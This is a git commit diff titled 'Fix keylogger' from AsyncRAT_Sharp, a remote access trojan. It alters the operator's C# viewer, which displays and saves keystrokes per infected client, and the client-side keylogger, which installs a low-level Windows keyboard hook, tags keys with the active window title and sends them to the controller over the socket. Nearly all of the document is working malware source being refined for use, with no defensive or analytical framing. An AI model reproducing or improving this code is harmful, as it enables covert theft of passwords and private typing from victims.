Fix keylogger

This commit is contained in:
NYAN CAT 2019-06-02 08:22:38 +03:00
parent 4511d9fb57
commit 5538fc87af
4 changed files with 26 additions and 50 deletions

View File

@ -56,7 +56,7 @@
this.toolStripButton1}); this.toolStripButton1});
this.toolStrip1.Location = new System.Drawing.Point(0, 0); this.toolStrip1.Location = new System.Drawing.Point(0, 0);
this.toolStrip1.Name = "toolStrip1"; this.toolStrip1.Name = "toolStrip1";
this.toolStrip1.Size = new System.Drawing.Size(731, 32); this.toolStrip1.Size = new System.Drawing.Size(731, 34);
this.toolStrip1.TabIndex = 0; this.toolStrip1.TabIndex = 0;
this.toolStrip1.Text = "toolStrip1"; this.toolStrip1.Text = "toolStrip1";
// //
@ -69,14 +69,14 @@
// toolStripTextBox1 // toolStripTextBox1
// //
this.toolStripTextBox1.Name = "toolStripTextBox1"; this.toolStripTextBox1.Name = "toolStripTextBox1";
this.toolStripTextBox1.Size = new System.Drawing.Size(100, 32); this.toolStripTextBox1.Size = new System.Drawing.Size(100, 34);
this.toolStripTextBox1.Text = "..."; this.toolStripTextBox1.Text = "...";
this.toolStripTextBox1.KeyDown += new System.Windows.Forms.KeyEventHandler(this.ToolStripTextBox1_KeyDown); this.toolStripTextBox1.KeyDown += new System.Windows.Forms.KeyEventHandler(this.ToolStripTextBox1_KeyDown);
// //
// toolStripSeparator1 // toolStripSeparator1
// //
this.toolStripSeparator1.Name = "toolStripSeparator1"; this.toolStripSeparator1.Name = "toolStripSeparator1";
this.toolStripSeparator1.Size = new System.Drawing.Size(6, 32); this.toolStripSeparator1.Size = new System.Drawing.Size(6, 34);
// //
// toolStripButton1 // toolStripButton1
// //
@ -92,9 +92,10 @@
// //
this.richTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None; this.richTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None;
this.richTextBox1.Dock = System.Windows.Forms.DockStyle.Fill; this.richTextBox1.Dock = System.Windows.Forms.DockStyle.Fill;
this.richTextBox1.Location = new System.Drawing.Point(0, 32); this.richTextBox1.Location = new System.Drawing.Point(0, 34);
this.richTextBox1.Name = "richTextBox1"; this.richTextBox1.Name = "richTextBox1";
this.richTextBox1.Size = new System.Drawing.Size(731, 378); this.richTextBox1.ReadOnly = true;
this.richTextBox1.Size = new System.Drawing.Size(731, 376);
this.richTextBox1.TabIndex = 1; this.richTextBox1.TabIndex = 1;
this.richTextBox1.Text = ""; this.richTextBox1.Text = "";
// //

View File

@ -23,6 +23,8 @@ namespace AsyncRAT_Sharp.Forms
public Form1 F { get; set; } public Form1 F { get; set; }
internal Clients C { get; set; } internal Clients C { get; set; }
public StringBuilder SB = new StringBuilder();
private void Timer1_Tick(object sender, EventArgs e) private void Timer1_Tick(object sender, EventArgs e)
{ {
if (!C.ClientSocket.Connected) this.Close(); if (!C.ClientSocket.Connected) this.Close();
@ -30,6 +32,7 @@ namespace AsyncRAT_Sharp.Forms
private void Keylogger_FormClosed(object sender, FormClosedEventArgs e) private void Keylogger_FormClosed(object sender, FormClosedEventArgs e)
{ {
SB?.Clear();
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "keyLogger"; msgpack.ForcePathObject("Packet").AsString = "keyLogger";
msgpack.ForcePathObject("isON").AsString = "false"; msgpack.ForcePathObject("isON").AsString = "false";
@ -67,7 +70,7 @@ namespace AsyncRAT_Sharp.Forms
string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + C.ID + "\\Keylogger"); string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + C.ID + "\\Keylogger");
if (!Directory.Exists(fullPath)) if (!Directory.Exists(fullPath))
Directory.CreateDirectory(fullPath); Directory.CreateDirectory(fullPath);
File.WriteAllText(fullPath + $"\\Keylogger_{DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss")}.txt", richTextBox1.Text); File.WriteAllText(fullPath + $"\\Keylogger_{DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss")}.txt", richTextBox1.Text.Replace("\n", Environment.NewLine));
} }
catch { } catch { }
} }

View File

@ -22,7 +22,8 @@ namespace AsyncRAT_Sharp.Handle_Packet
FormKeylogger KL = (FormKeylogger)Application.OpenForms["keyLogger:" + client.ID]; FormKeylogger KL = (FormKeylogger)Application.OpenForms["keyLogger:" + client.ID];
if (KL != null) if (KL != null)
{ {
KL.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("Log").GetAsString()); KL.SB.Append(unpack_msgpack.ForcePathObject("Log").GetAsString());
KL.richTextBox1.Text = KL.SB.ToString();
KL.richTextBox1.SelectionStart = KL.richTextBox1.TextLength; KL.richTextBox1.SelectionStart = KL.richTextBox1.TextLength;
KL.richTextBox1.ScrollToCaret(); KL.richTextBox1.ScrollToCaret();
} }

View File

@ -26,7 +26,7 @@ namespace Client.Handle_Packet
{ {
while (ClientSocket.IsConnected) while (ClientSocket.IsConnected)
{ {
Thread.Sleep(500); Thread.Sleep(10);
if (isON == false) if (isON == false)
{ {
break; break;
@ -34,6 +34,7 @@ namespace Client.Handle_Packet
} }
UnhookWindowsHookEx(_hookID); UnhookWindowsHookEx(_hookID);
CurrentActiveWindowTitle = ""; CurrentActiveWindowTitle = "";
Application.Exit();
}).Start(); }).Start();
Application.Run(); Application.Run();
} }
@ -75,13 +76,13 @@ namespace Client.Handle_Packet
switch (((Keys)vkCode).ToString()) switch (((Keys)vkCode).ToString())
{ {
case "Space": case "Space":
currentKey = "[SPACE]"; currentKey = " ";
break; break;
case "Return": case "Return":
currentKey = $"[ENTER]{Environment.NewLine}"; currentKey = "[ENTER]\n";
break; break;
case "escape": case "Escape":
currentKey = "[ESC]"; currentKey = "[ESC]\n";
break; break;
case "LControlKey": case "LControlKey":
currentKey = "[CTRL]"; currentKey = "[CTRL]";
@ -102,15 +103,8 @@ namespace Client.Handle_Packet
currentKey = "[WIN]"; currentKey = "[WIN]";
break; break;
case "Tab": case "Tab":
currentKey = "[Tab]"; currentKey = "[Tab]\n";
break; break;
case "Capital":
if (CapsLock == true)
currentKey = "[CAPSLOCK: OFF]";
else
currentKey = "[CAPSLOCK: ON]";
break;
} }
} }
@ -130,7 +124,7 @@ namespace Client.Handle_Packet
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "keyLogger"; msgpack.ForcePathObject("Packet").AsString = "keyLogger";
msgpack.ForcePathObject("log").AsString = sb.ToString(); msgpack.ForcePathObject("log").AsString = sb.ToString();
Sockets.ClientSocket.Send(msgpack.Encode2Bytes()); ClientSocket.Send(msgpack.Encode2Bytes());
} }
return CallNextHookEx(_hookID, nCode, wParam, lParam); return CallNextHookEx(_hookID, nCode, wParam, lParam);
} }
@ -157,33 +151,14 @@ namespace Client.Handle_Packet
} }
private static string GetActiveWindowTitle() private static string GetActiveWindowTitle()
{
const int nChars = 256;
StringBuilder Buff = new StringBuilder(nChars);
IntPtr handle = GetForegroundWindow();
if (GetWindowText(handle, Buff, nChars) > 0)
{
CurrentActiveWindowTitle = Path.GetFileName(Buff.ToString());
return CurrentActiveWindowTitle;
}
else
{
return GetActiveProcessFileName();
}
}
private static string GetActiveProcessFileName()
{ {
try try
{ {
string pName;
IntPtr hwnd = GetForegroundWindow(); IntPtr hwnd = GetForegroundWindow();
GetWindowThreadProcessId(hwnd, out uint pid); GetWindowThreadProcessId(hwnd, out uint pid);
Process p = Process.GetProcessById((int)pid); Process p = Process.GetProcessById((int)pid);
pName = Path.GetFileName(p.MainModule.FileName); CurrentActiveWindowTitle = p.MainWindowTitle;
return p.MainWindowTitle;
return pName;
} }
catch (Exception) catch (Exception)
{ {
@ -191,13 +166,16 @@ namespace Client.Handle_Packet
} }
} }
#region "Hooks & Native Methods" #region "Hooks & Native Methods"
private const int WM_KEYDOWN = 0x0100; private const int WM_KEYDOWN = 0x0100;
private static readonly LowLevelKeyboardProc _proc = HookCallback; private static readonly LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero; private static IntPtr _hookID = IntPtr.Zero;
private static readonly int WHKEYBOARDLL = 13;
private static string CurrentActiveWindowTitle;
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId); private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
@ -208,15 +186,8 @@ namespace Client.Handle_Packet
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName); private static extern IntPtr GetModuleHandle(string lpModuleName);
private static readonly int WHKEYBOARDLL = 13;
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("user32.dll")]
static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);
[DllImport("user32.dll")] [DllImport("user32.dll")]
static extern IntPtr GetForegroundWindow(); static extern IntPtr GetForegroundWindow();
private static string CurrentActiveWindowTitle;
[DllImport("user32.dll", SetLastError = true)] [DllImport("user32.dll", SetLastError = true)]
static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId); static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId);